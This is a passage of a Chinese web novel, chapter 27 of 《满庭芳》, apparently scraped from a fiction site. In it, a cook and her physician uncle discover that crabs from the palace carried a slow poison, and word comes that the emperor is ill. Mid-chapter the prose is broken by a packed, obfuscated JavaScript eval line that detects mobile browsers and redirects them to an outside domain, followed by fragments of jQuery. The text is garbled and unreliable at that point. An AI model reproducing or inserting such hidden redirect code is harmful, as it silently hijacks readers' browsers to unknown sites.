27. 盛景行

作品:《满庭芳

    “嫌少了?那连着下月的一起。”


    长卿抱拳:“不必了殿下,属下自知近日疏于练习,未保护好小棠娘子,实属罪过。长卿自请用本月月俸作为小娘子的补偿。”


    盛景行满意地点点头,“准了,下去吧。”


    “殿下…”贺元棠巴巴地看着他。


    “再多话,这房钱就自己付。”


    真是钱银非万能,但兜里空空,万万不能。贺元棠在心里翻了个白眼。


    “殿下,民女想说的是,今夜殿下饮了好些酒,受风吹了是要头疼的,不如民女为殿下熬上一碗醒酒汤来?暖暖身子?”


    话锋一转,她指着庭中月色,与他献殷勤。


    “你还会做这个?”


    贺元棠真是想瞪他一眼,莫不是喝多了糊涂了,自己原本就是做菜的,煮碗醒酒汤多大点儿事。


    “略知一二罢了。”她低头笑笑,“殿下快些先回房中吧,春日的夜晚还是有一些凉的。”


    端碗进入他的房间时,盛景行墨发披散,一袭素衣,正聚精会神地看着手中卷宗。夜色微凉,晚风随着推开的门跃入,轻轻撩动烛火,落在他的发间。


    她将碗放在桌上,发现这个样子的殿下虽少见,但也有几分好看。


    盛景行看着碗中深红,抬眸看她:“怎么是这个颜色的?”


    “这可是独门秘方,殿下若是嫌弃,倒掉便是。”


    盛景行放下手中书卷,拿起瓷勺舀起醒酒汤,眉头微皱:“若是有人派你来刺杀本王,你可会在本王碗中下毒?”


    “可以呀,钱到位就行。”


    她看着他眉眼弯弯,笑得狡黠。


    “那有劳小娘子了。”


    她摆手说不必客气,“殿下早些休息,民女便不打扰了。”


    转身出了门,盛景行抬起碗一饮而尽,盯着她远去的背影,眼神冷了几分。


    卷宗上记载,昔年漕运牵扯出朝中贪墨之案,后巧遇皇子谋逆,一应证据被大火烧了干净,大理寺追寻多日未果。


    大雪三日,将陈年旧事都埋没于冰雪之下,只剩一片白茫茫的干净。


    冬去春来,有人往空中撒了一把盐,落在地上,渐渐融开了冰雪。


    盛景行觉得胃中有热流涌动,旋即扩散周身。目光落在了卷中的几行小字上:


    淮盐。


    淮盐入京需走泗州、宿州、应天、陈留而过,他一路追查下来,沿途四处关口,藏着不少太子的人,也藏了不少他的人。


    层层筛查,上等之物运抵京城,竟已是变了滋味。


    若每途径一处关口,便筛走十分之一的高价淮盐,再参入便宜的池盐。一来二去,多出来的淮盐又进了谁的口袋?盐尚且如此,其他的东西呢?


    京郊刺客、廖总管、陈酒监、泗州转运使…他一个个推算着一路以来遇见的人和事,在书卷上翻找勾画。


    不知不觉地,天亮了。


    贺元棠伸了个懒腰,从软塌上起身,收拾完毕走出了门。


    没走几步,她好像想起些什么,转身敲响了隔壁的房门:


    “长卿小哥,我出门啦。”


    怎么没人回应?把耳朵贴在门板上听了一会儿,好像长卿不在屋中一样,那便不怪她了,自己先走喽。


    此时长卿正坐在屋檐上看着她的动作,点点头:“知道了。”


    穿过来往的车马人群,穿过闹市,贺元棠又走进了普光王寺。


    “咚咚咚,咚咚”


    门开了,一个头发乱糟糟,身上带着酒气的人拉开门,探头出来。


    “舅——”


    “嘘!”这人把她拉进了门内,又探头出去左右看了看,才放心的把门关上。


    长卿坐在树上,好奇地打量着。


    “你不是在家帮着阿姐做螃蟹么?什么时候跑去的京城?”


    “阿兰姐姐被送到京城的一家酒楼里了,碰巧贺元毅进京赶考,我就跟着他一道去了。”贺元棠揪了揪吴爻的胡子头发,“我还没问你怎么跑到这里来了,不在家里帮忙看病。”


    “我这是出门行医,救死扶伤,你说说,你惹出什么大事了,躲到我这里来?”


    “我给官家治病了。”


    吴爻揉了揉眼睛,不知道是没看清还是没听清:“你说什么?”


    “呃,就是好像…好像还治错了。”贺元棠尴尬地笑笑,被吴爻推出了门去。


    树上的长卿见她怎么才进去一盏茶的功夫就出来了,歪着头想了想,决定跟近一点听听,听到什么“无药可救”,什么无药可救?不会是官家无药可救了吧,那可完蛋了。


    “你听我说完啊,吴爻!”贺元棠拍着门,“舅舅!”


    一只手又把她拉了进去。


    “呜呜呜,谁是你舅舅啊,我不认识你啊!”吴爻蹲在地上抱头痛哭,怎么这样要掉脑袋的事情老是要找上门来啊。


    “舅舅,你听我说,这事儿说来话长。”


    “那不听了,不听了,你赶快走,就当我没见过你。”吴爻连连摇头。


    贺元棠也蹲了下来,从怀中摸出一块金饼塞到吴爻手中,“我说的是真的,这就是上次我为陛下治病时陛下赏的。”


    吴爻看清手中是什么烫手的东西后,连忙丢回她怀中。“你怎么会为陛下治病?你这两下功夫,怎么敢让你给他治病?”


    贺元棠大概比划了一下事件始末,吴爻倒在了地上。


    在快要晕过去之前,他问:“谁带你入的宫?”


    “宁王殿下。”


    两眼一闭,吴爻还是选择晕过去。他这辈子,再也不想听见这个名字。


    “舅舅,舅舅!”贺元棠爬过去晃着吴爻,又去掐他的人中。


    “救救我吧。”吴爻觉得自己快要哭出来,他怎么这么苦,怎么什么事情都要叫自己遇上。行医治病这么多年,能不能为来生积一些善缘。


    心如死灰,吴爻还是坐了起来,双目无神地看着她:


    “螃蟹呢?可有带一些来?”


    “有的,舅舅,有的。”贺元棠又摸出一个锦囊,里面装着几片螃蟹的碎壳。


    吴爻点了蜡烛,仔细地查看,又捋着胡子想了想,长出了一口气。“得亏你遇上舅舅我了,若官家当时吃的是这种螃蟹,还有救。”


    “那如果这个只是我从酒楼里拿的呢?”贺元棠小心翼翼地开口。


    吴爻:?</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15743411|173722||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    两眼一闭,他又要倒下去了。


    “舅舅、舅舅这只是我们的猜测,这个螃蟹原先是御厨从宫里带出来的,我一直养着,等到今年了才发现不对劲,当时官家吃的应该就是这个。”


    吴爻:“你不要叫我,我想静静。”


    贺元棠:“静静是谁?”


    ……


    “小祖宗,我这辈子算是栽在你手里了。”


    吴爻只觉得自己气血上涌,胸中烦躁,“第一,御厨为什么要给你们带这个螃蟹?这我不管。”


    “第二,这螃蟹是让人下药了,谁想做得这么隐秘?这我也不管。”


    “哎哟舅舅,您就挑管的说。”


    “第三,这毒虽是过了这么久,但是是慢性,病发不会这么快,一般会慢慢蚕食吃进去的人或者动物的五脏六腑,时日一长才会有所显现,螃蟹小所以几个月就看出来了。人的话要慢一些。”


    贺元棠微微松了一口气。


    “除非是有什么东西激化了它,不过你说是官家,官家比我的年纪都大了,应该是没有这个担忧。”


    “什么东西?”


    吴爻不屑地看了她一眼,“小孩子别问这么多。”


    “我不是小孩子了!”贺元棠和他大眼瞪小眼。


    螃蟹是在春天要繁衍时才让她发现的病症,如果按这样说,官家那边什么情况她倒是不清楚,不过……


    她想起来,不久前,月杏姑娘…进宫了。


    “舅舅!舅舅!您别晕了呀舅舅!”


    长卿推门进来时,见到她坐在地上,托着一个乞丐酒鬼一般的人。“小棠,你没事儿吧?”


    贺元棠看了吴爻一眼,扯了扯嘴角,对长卿摇头。


    -


    吴爻再醒来时,已经躺在一间大宅子的屋子里。


    好久没睡过这么软的塌了,刚才自己不是在地上吗?怎么觉得头有些疼,自己原本是想装晕的,哪里会真的晕过去了。


    坐起身来,吴爻发现屋内还有三个人。贺元棠这个小丫头,没见过的少侠,和…盛景行。


    昔日那位耀眼的少年,好像长高了许多,也壮了一些,不过他眉宇间多了几分愁绪,眼下有些发青,想来是近日没怎么休息好。


    揉了揉本就杂乱的头发,如果有选择,他真想长梦不醒了。


    “草民见过殿下。”低头行礼,听见那位少年的声音由远及近:


    “舅舅认识本王?”


    他将头埋得更低了,道是:“来之前听小侄说殿下在,草民睁眼见您如此器宇轩昂,必是殿下。”


    眼底闪过几丝探究,盛景行伸手将人扶了起来,“不必多礼,舅舅。”


    “元棠说您医术高明,慈悲为怀,云游数十载治病救人,从不收取多余钱财。民间有此般善人,当真是让景行佩服。”


    “抬、抬举草民了。”吴爻双手接过他倒的茶,瞥见贺元棠在一旁盯着自己。


    与此同时,院里跑来一个人。


    “殿下——殿下不好了——”


    长卿拦住那人,锤了他一拳:“怎么说话呢,我们殿下好着呢。”


    接过信鸽带来的纸条,上面写着:帝病,速归。